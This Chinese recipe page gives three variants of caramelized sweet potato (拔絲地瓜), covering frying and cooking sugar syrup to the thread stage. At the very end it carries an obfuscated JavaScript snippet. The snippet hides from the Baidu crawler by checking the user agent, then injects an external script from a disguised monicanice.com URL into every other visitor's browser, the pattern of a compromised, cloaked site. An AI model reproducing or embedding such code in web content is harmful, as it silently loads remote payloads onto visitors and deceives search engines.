當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

拔絲地瓜怎么做好吃?拔絲地瓜的做法

2015-04-23 07:01:46  來源:360常識網(wǎng)   熱度:
導語:將鍋內(nèi)炸剩的油倒出另盛一個碗里,把鍋洗凈,摻入一湯勺水,將白糖放入鍋內(nèi)攪化,再加一瓶蓋熟油加油的目的是使菜色澤鮮亮,絲持續(xù)得長一些

將鍋內(nèi)炸剩的油倒出另盛一個碗里,把鍋洗凈,摻入一湯勺水,將白糖放入鍋內(nèi)攪化,再加一瓶蓋熟油加油的目的是使菜色澤鮮亮,絲持續(xù)得長一些,中火熬糖。這倒菜的關(guān)鍵之處就是看糖熬得是否成功。待糖汁沸騰后改小火熬注意,一邊熬要一邊用勺攪糖汁。

拔絲地瓜的做法-拔絲地瓜怎么做?
拔絲地瓜的做法-拔絲地瓜怎么做?

拔絲地瓜的做法

炸拔絲地瓜

材料:地瓜500克,白糖150克,清水100克,香油30克,花生油1000克。

做法:

1、地瓜洗凈去皮,切成滾刀塊。

2、勺內(nèi)加花生油燒至90℃時,把地瓜塊放入油內(nèi)炸熟透至色澤金黃色時撈出控油。

3、勺刷凈加清水、白糖,用慢火熬糖,從水大泡變成水小泡;從糖大泡變成糖小泡至濃稠變色時,倒入炸好的地瓜離勺、顛勺,使糖液完全沾在地瓜上;倒入抹過香油的盤內(nèi),上桌的時候要上碗白水,沾著吃,才不沾牙。

糖漿拔絲地瓜

材料:紫心地瓜3只、白砂糖2/3杯、清水1/2杯、生菜1棵、油1碗。

做法:

1、地瓜去皮,切成滾刀塊;生菜掰開,洗凈瀝干水,鋪于盤中待用。

2、燒熱1碗油,放入地瓜塊,以中火炸5分鐘,炸至能被筷子捅穿,撈起瀝干油待用。

3、燒熱5湯匙油,先倒入2/3杯白砂糖,以小火炒至糖融化,呈微黃色。

4、澆入1/2杯清水炒勻,開中小火不斷攪拌至糖漿起大泡。

5、糖漿要經(jīng)過起大泡和變小泡且色變深和再起大泡變黏稠的過程,并能拉出細絲來。

6、倒入地瓜塊翻炒幾下,讓其均勻地裹上糖漿。

7、將拔絲地瓜放在生菜葉上,便可趁熱食用。

蜜糖拔絲地瓜

材料:地瓜,白糖,清水,香油,花生油,用量視乎個人喜好。

1、將地瓜去皮洗凈,切成滾刀盛在小盆里;將雞蛋打破,蛋清倒入盛地瓜的盆里,均勻撒上干淀粉并攪勻。

2、在炒鍋內(nèi)倒入一斤油,當油燒至7成熟時將地瓜放入鍋內(nèi)油炸。待地瓜炸熟時將其撈出控干油。準備一個盤底抹一層熟油的盤子,防止糖粘在盤底。

3、將鍋內(nèi)炸剩的油倒出另盛一個碗里,把鍋洗凈,摻入一湯勺水,將白糖放入鍋內(nèi)攪化,再加一瓶蓋熟油加油的目的是使菜色澤鮮亮,絲持續(xù)得長一些,中火熬糖。這倒菜的關(guān)鍵之處就是看糖熬得是否成功。待糖汁沸騰后改小火熬注意,一邊熬要一邊用勺攪糖汁。待糖汁用勺舀起來起細絲時,把炸好的地瓜放入鍋內(nèi)攪勻,再盛入盤底抹滿熟油的盤子里,吃時準備一小碗清水即可。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}